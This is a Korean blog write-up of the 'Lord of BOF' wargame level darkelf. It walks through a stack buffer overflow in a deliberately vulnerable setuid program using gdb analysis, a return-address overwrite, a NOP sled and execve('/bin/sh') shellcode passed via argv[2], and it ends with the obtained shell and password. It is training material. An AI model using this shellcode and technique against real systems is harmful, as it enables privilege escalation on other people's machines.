본문 바로가기

Computer Engineering/System

[Lord of BOF ] Darkelf 정복기

[wolfman@localhost wolfman]$ chsh
Changing shell for wolfman.
Password: 
New shell [/bin/bash]: /bin/bash2
Shell changed.
[wolfman@localhost wolfman]$ exit
logout
// 일반 bash shell 에서는 \xff 가 나오면 멈춰버리는 오류가 있어서 chsh 명령어를 이용해서 bash2 로 shell 을 바꿔준다. 

login: wolfman
Password: 
Last login: Mon Dec 26 17:13:10 from 192.168.148.1
// 다시 로그인 
[wolfman@localhost wolfman]$ env
PWD=/home/wolfman
REMOTEHOST=192.168.148.1
HOSTNAME=localhost.localdomain
LESSOPEN=|/usr/bin/lesspipe.sh %s
USER=wolfman
LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:
MACHTYPE=i386-redhat-linux-gnu
MAIL=/var/spool/mail/wolfman
INPUTRC=/etc/inputrc
BASH_ENV=/home/wolfman/.bashrc
LANG=en_US
DISPLAY=RedBean:0.0
LOGNAME=wolfman
SHLVL=1
SHELL=/bin/bash2
USERNAME=
HOSTTYPE=i386
OSTYPE=linux-gnu
HISTSIZE=1000
TERM=xterm
HOME=/home/wolfman
PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/wolfman/bin
_=/usr/bin/env
=> chsh 이 제대로 사용되어서 bash -> bash2로 shell 이 바뀐 것을 확인할 수 있다.



[wolfman@localhost wolfman]$ cat darkelf.c 
/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkelf 
        - egghunter + buffer hunter + check length of argv[1]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
char buffer[40];
int i;

if(argc < 2){
printf("argv error\n");
exit(0);
}

// egghunter 
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));

if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}

// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}

strcpy(buffer, argv[1]); 
printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

}
=> Bold 로 표시한 부분이 wolfman 과 다르게 변한 부분이므로 바로 이번 힌트라는 아이디어가 떠올랐다!!

그 아이디어는 바로 전 Level ( wolfman ) 의 방법에서 argv[] 에 대한 개념을 확실히 깨달았다면 알 수 있다. 그 전 Level 까지는 argv[] 가 항상 2를 사용했었다. => ./실행파일명 스크립트코드 
                                                                                        argv[0]         argv[1]
바로 이런식이었다. 그런데 여기서 chk 를 하는 if 문에서는 argv[1] 만 체크를 하므로 우리는 argv[2] 를 사용할 경우 제약이 전혀없다는 것이 바로 아이디어!! 

아직도 감이 안왔다면 설명을 따라오도록 ㅎㅎ

 


[wolfman@localhost wolfman]$ ls -l
-rwsr-sr-x    1 darkelf  darkelf     12655 Feb 26  2010 darkelf
-rw-r--r--    1 root     root          721 Mar 29  2010 darkelf.c
// darkelf 는 권한이 darkelf로 실행되어서  gdb 를 이용해서 분석을 할 수가 없다.

[wolfman@localhost wolfman]$ gcc -o darkell darkelf.c 
// 그래서 분석을 하기위해서 다음과 같이 Hint 소스파일을 이용해서 wolfman 의 권한으로 실행가능한 darkell 이라는 파일을 만들어 준다.

darkelf 와 유사한 이름으로 만들어 주었는데 쓸데없이 그런 것이 아니라 여기에는 이유가 있다.


// Hint 소스(darkelf.c) 를 확인하면 stack 에 쌓이는 구조가 위의 그림과 같은 모양이 된다는 것을 알 수 있다. 그 중 컴파일 된 실행파일을 확인하면 env 안에 파일이름, 현재 폴더, 현재 작업하는 shell 등이 있다. 그래서 darkell 과 같이 동일한 길이로 컴파일해주면 해당 영역의 사이즈가 원본인 darkelf 와 동일하게 되기 때문에 최적의 테스트 환경을 만들어 주기 위해서 이름을 darkell 이라고 해주는 것이다.


= GDB를 이용한 분석 =

[wolfman@localhost wolfman]$ gdb darkell
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) set disassembly-flavor intel 
(gdb) disassemble main
Dump of assembler code for function main:
0x8048500 <main>: push   %ebp
0x8048501 <main+1>: mov    %ebp,%esp
0x8048503 <main+3>: sub    %esp,44
0x8048506 <main+6>: cmp    DWORD PTR [%ebp+8],1
0x804850a <main+10>: jg     0x8048523 <main+35>
0x804850c <main+12>: push   0x8048670
0x8048511 <main+17>: call   0x8048410 <printf>
0x8048516 <main+22>: add    %esp,4
0x8048519 <main+25>: push   0
0x804851b <main+27>: call   0x8048420 <exit>
0x8048520 <main+32>: add    %esp,4
0x8048523 <main+35>: nop    
0x8048524 <main+36>: mov    DWORD PTR [%ebp-44],0x0
0x804852b <main+43>: nop    
0x804852c <main+44>: lea    %esi,[%esi*1]
0x8048530 <main+48>: mov    %eax,DWORD PTR [%ebp-44]
0x8048533 <main+51>: lea    %edx,[%eax*4]
0x804853a <main+58>: mov    %eax,%ds:0x80497a4
0x804853f <main+63>: cmp    DWORD PTR [%eax+%edx],0
0x8048543 <main+67>: jne    0x8048547 <main+71>
0x8048545 <main+69>: jmp    0x8048587 <main+135>
0x8048547 <main+71>: mov    %eax,DWORD PTR [%ebp-44]
0x804854a <main+74>: lea    %edx,[%eax*4]
0x8048551 <main+81>: mov    %eax,%ds:0x80497a4
0x8048556 <main+86>: mov    %edx,DWORD PTR [%eax+%edx]
0x8048559 <main+89>: push   %edx
0x804855a <main+90>: call   0x80483f0 <strlen>
0x804855f <main+95>: add    %esp,4
0x8048562 <main+98>: mov    %eax,%eax
0x8048564 <main+100>: push   %eax
0x8048565 <main+101>: push   0
0x8048567 <main+103>: mov    %eax,DWORD PTR [%ebp-44]
0x804856a <main+106>: lea    %edx,[%eax*4]
0x8048571 <main+113>: mov    %eax,%ds:0x80497a4
0x8048576 <main+118>: mov    %edx,DWORD PTR [%eax+%edx]
0x8048579 <main+121>: push   %edx
0x804857a <main+122>: call   0x8048430 <memset>
0x804857f <main+127>: add    %esp,12
0x8048582 <main+130>: inc    DWORD PTR [%ebp-44]
0x8048585 <main+133>: jmp    0x8048530 <main+48>
0x8048587 <main+135>: mov    %eax,DWORD PTR [%ebp+12]
0x804858a <main+138>: add    %eax,4
0x804858d <main+141>: mov    %edx,DWORD PTR [%eax]
0x804858f <main+143>: add    %edx,47
0x8048592 <main+146>: cmp    BYTE PTR [%edx],0xbf
0x8048595 <main+149>: je     0x80485b0 <main+176>
---Type <return> to continue, or q <return> to quit---
0x8048597 <main+151>: push   0x804867c
0x804859c <main+156>: call   0x8048410 <printf>
0x80485a1 <main+161>: add    %esp,4
0x80485a4 <main+164>: push   0
0x80485a6 <main+166>: call   0x8048420 <exit>
0x80485ab <main+171>: add    %esp,4
0x80485ae <main+174>: mov    %esi,%esi
0x80485b0 <main+176>: mov    %eax,DWORD PTR [%ebp+12]
0x80485b3 <main+179>: add    %eax,4
0x80485b6 <main+182>: mov    %edx,DWORD PTR [%eax]
0x80485b8 <main+184>: push   %edx
0x80485b9 <main+185>: call   0x80483f0 <strlen>
0x80485be <main+190>: add    %esp,4
0x80485c1 <main+193>: mov    %eax,%eax
0x80485c3 <main+195>: cmp    %eax,48
0x80485c6 <main+198>: jbe    0x80485e0 <main+224>
0x80485c8 <main+200>: push   0x8048699
0x80485cd <main+205>: call   0x8048410 <printf>
0x80485d2 <main+210>: add    %esp,4
0x80485d5 <main+213>: push   0
0x80485d7 <main+215>: call   0x8048420 <exit>
0x80485dc <main+220>: add    %esp,4
0x80485df <main+223>: nop    
0x80485e0 <main+224>: mov    %eax,DWORD PTR [%ebp+12]
0x80485e3 <main+227>: add    %eax,4
0x80485e6 <main+230>: mov    %edx,DWORD PTR [%eax]
0x80485e8 <main+232>: push   %edx
0x80485e9 <main+233>: lea    %eax,[%ebp-40]
0x80485ec <main+236>: push   %eax
0x80485ed <main+237>: call   0x8048440 <strcpy>
0x80485f2 <main+242>: add    %esp,8
0x80485f5 <main+245>: lea    %eax,[%ebp-40]
0x80485f8 <main+248>: push   %eax
0x80485f9 <main+249>: push   0x80486b0
0x80485fe <main+254>: call   0x8048410 <printf>
0x8048603 <main+259>: add    %esp,8
0x8048606 <main+262>: push   40
0x8048608 <main+264>: push   0
0x804860a <main+266>: lea    %eax,[%ebp-40]
0x804860d <main+269>: push   %eax
0x804860e <main+270>: call   0x8048430 <memset>
0x8048613 <main+275>: add    %esp,12
0x8048616 <main+278>: leave  
0x8048617 <main+279>: ret    
0x8048618 <main+280>: nop    
0x8048619 <main+281>: nop    
0x804861a <main+282>: nop    
---Type <return> to continue, or q <return> to quit---
0x804861b <main+283>: nop    if(argv[1][47] != '\xbf')
0x804861c <main+284>: nop    
0x804861d <main+285>: nop    
0x804861e <main+286>: nop    
0x804861f <main+287>: nop    
End of assembler dump.

(gdb) b *0x8048503
// 이 부분을 break point (이하 bp) 로 지정해주자.
Breakpoint 1 at 0x8048503
(gdb) r $(python -c 'print "/xbf"*48') $(python -c 'print "aaaa"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')

// argv[0] => r
// argv[1] => $(python -c 'print "/xbf"*48')
// argv[2] =>  $(python -c 'print "aaaa"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
=> 위에서 아이디어 이야기를 한 것을 기억하는가? 기억한다면 우리가 argv[2] 를 이용한다는 사실이 이렇게 사용되는 것이다.
argv[0] 에는 실행파일명이 들어간다. 자세한 내용은 아래에서 확인하자
argv[1] 에는 첫 번째 관문인 
if(argv[1][47] != '\xbf') 을 넘어가기 위해서 위와 같이 입력을 했고
argv[2] 에는 일단 어디에 해당 값이 저장되고 있는지 주소를 파악하기 위해서 Test 용으로 aaaa*10과 ShellCode 를 입력했다. 

 
Starting program: /home/wolfman/darkell $(python -c 'print "/xbf"*48') $(python -c 'print "aaaa"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')

Breakpoint 1, 0x8048503 in main ()
(gdb) display /i $eip
// 바로 다음에 실행될 명령을 확인 할 수 있다. 
1: x/i $eip  0x8048503 <main+3>: sub    %esp,44

(gdb) ni
// 다음 명령을 실행
0x8048506 in main ()
1: x/i $eip  0x8048506 <main+6>: cmp    DWORD PTR [%ebp+8],1
(gdb) x/64x $esp
// 분석작업에 들어가기 위해 $esp 를 살펴보자!! 

0xbffff9dc: 0x40021ca0 0xbffffa08 0x4000a970 0x400f855b
0xbffff9ec: 0x080496d4 0x4000ae60 0xbffffa54 0xbffffa08
0xbffff9fc: 0x080484eb 0x080496c0 0x080496d4 0xbffffa28
0xbffffa0c: 0x400309cb 0x00000003 0xbffffa54 0xbffffa64
0xbffffa1c: 0x40013868 0x00000003 0x08048450 0x00000000
0xbffffa2c: 0x08048471 0x08048500 0x00000003 0xbffffa54
0xbffffa3c: 0x08048390 0x0804864c 0x4000ae60 0xbffffa4c
0xbffffa4c: 0x40013e90 0x00000003 0xbffffb41 0xbffffb57
0xbffffa5c: 0xbffffc18 0x00000000 0xbffffc5a 0xbffffc6c
0xbffffa6c: 0xbffffc85 0xbffffca4 0xbffffcc6 0xbffffcd3
0xbffffa7c: 0xbffffe96 0xbffffeb5 0xbffffed2 0xbffffee7
0xbffffa8c: 0xbfffff06 0xbfffff11 0xbfffff25 0xbfffff35
0xbffffa9c: 0xbfffff3d 0xbfffff4e 0xbfffff58 0xbfffff66
0xbffffaac: 0xbfffff77 0xbfffff85 0xbfffff90 0xbfffffa3
0xbffffabc: 0x00000000 0x00000003 0x08048034 0x00000004
0xbffffacc: 0x00000020 0x00000005 0x00000006 0x00000006
=> 0x00000003 이라고 적혀있는 부분 이  부분은 4byte 로
우리가 입력한 인자값인 argv[0], argv[1], argv[2] 이렇게 3 가지라는 것을 확인 할 수 있다.

위의 설명에서 그림으로 나타냈듯이 이 바로 다음부분이 argv[0] 이 될 것이라는 것을 예상할 수 있다. 그렇다면 우리의 예상이 사실인지 확인작업에 들어가보자!!

(gdb) x/x 0xbffffa54
0xbffffa54: 0xbffffb41
=> 0xbffffa54 가 가리키는 주소가 0xbffffb41 이라는 것을 알 수 있다. 이제 이 주소의 값이 argv[0] 에 해당 하는 부분이므로 실행파일명이 나오면 우리의 예상이 들어 맞을 것이다. 
(gdb) x/s 0xbffffb41
0xbffffb41: "/home/wolfman/darkell"
=> 0xbffffb41 에 들어있는 값을 string 옵션으로 확인한 결과 wolfman 권한으로 컴파일한 darkell 파일. 즉, 실행파일의 절대경로 (/home/wolfman/darkell) 값이 들어있었다.

역시나 우리의 예상이 맞았다.그렇다면 다음 주소값은 argv[1] , argv[2] 값이 나온다는 것을 알 수 있다. 살짝 옵션을 주어서 확인을 해보자!!
(gdb) x/5s 0xbffffb41
0xbffffb41: "/home/wolfman/darkell"
0xbffffb57: "/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf/xbf"
0xbffffc18: 'a' <repeats 40 times>, "1�Ph//shh/bin\211�PS\211�1Ұ\013�\200"
0xbffffc5a: "PWD=/home/wolfman"
0xbffffc6c: "REMOTEHOST=192.168.148.1"
=> argv[0] , 
argv[1] , argv[2] 을 모두 확인할 수 있다.

이제 여기에서 마무리 단계에 접어들어 확실한 생각을 할 수 있다.
우리가 원하는 것은 결국 Shell 을 뛰우는 것이다. shellCode 를 실행시켜야 하는 것이다.
그렇기 때문에 RET 를 shellcode 가 들어있는 argv[2] 주소로 적어주면 된다.

이전의 Test 에서 확인되었지만 gdb 와 실제환경에서 주소값이 약간씩 변동되므로 NOP sled 기법을 이용하면 확실하게  shellCode 를 실행시킬 수 있을 것이다.

[wolfman@localhost wolfman]$ ./darkelf $(python -c 'print "a"*44+"\x18\xfc\xff\xbf"') $(python -c 'print "\x90"*500+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')

// argv[0] => ./darkelf  | 실행파일명
// argv[1] => $(python -c 'print "a"*44+"\x18\xfc\xff\xbf"')
                                      ------------------------    ----------------------------------
                                            |                         |
                                     buffer + ebp를 a로 채워준다.
                                                                     |
                                                             44byte 다음은 RET 가 되므로 여기에 RET 주소로
                                                             argv[2] 의 주소값인 0xbffffc18 을 입력해준다. 

// argv[2] => $(python -c 'print "\x90"*500+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
------------------------    ----------------------------------------------------------------------------------------------------------
        |                                                                 |
삑살(?)을 방지하기 위한 NOP (기계어로 90 이기 때문에 이렇게 입력을 한 것이다.)
                                                                          |
                                                                shellCode 입력
 
두근두근두근...
[wolfman@localhost wolfman]$ ./darkelf $(python -c 'print "a"*44+"\x18\xfc\xff\xbf"') $(python -c 'print "\x90"*500+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa���
bash$
=> shell 이 떨어졌다~~!!
bash$ my-pass
euid = 506
kernel crashed
=> my-pass 라는 명령어를 이용해서 darkelf 의 p/w 를 획득하는데에 성공!!

'Computer Engineering > System' 카테고리의 다른 글

[퍼옴]부팅은 어떤 순서로 이루어지나?  (0) 2012.02.08
[Lord of BOF] orge 정복기  (1) 2011.12.28
[ESPC2] 0x08 Wolfman 정복기  (0) 2011.12.26
[ESPC2] 0x07 정리  (0) 2011.12.24
[ESPC2] 0x07 Eggshell  (0) 2011.12.24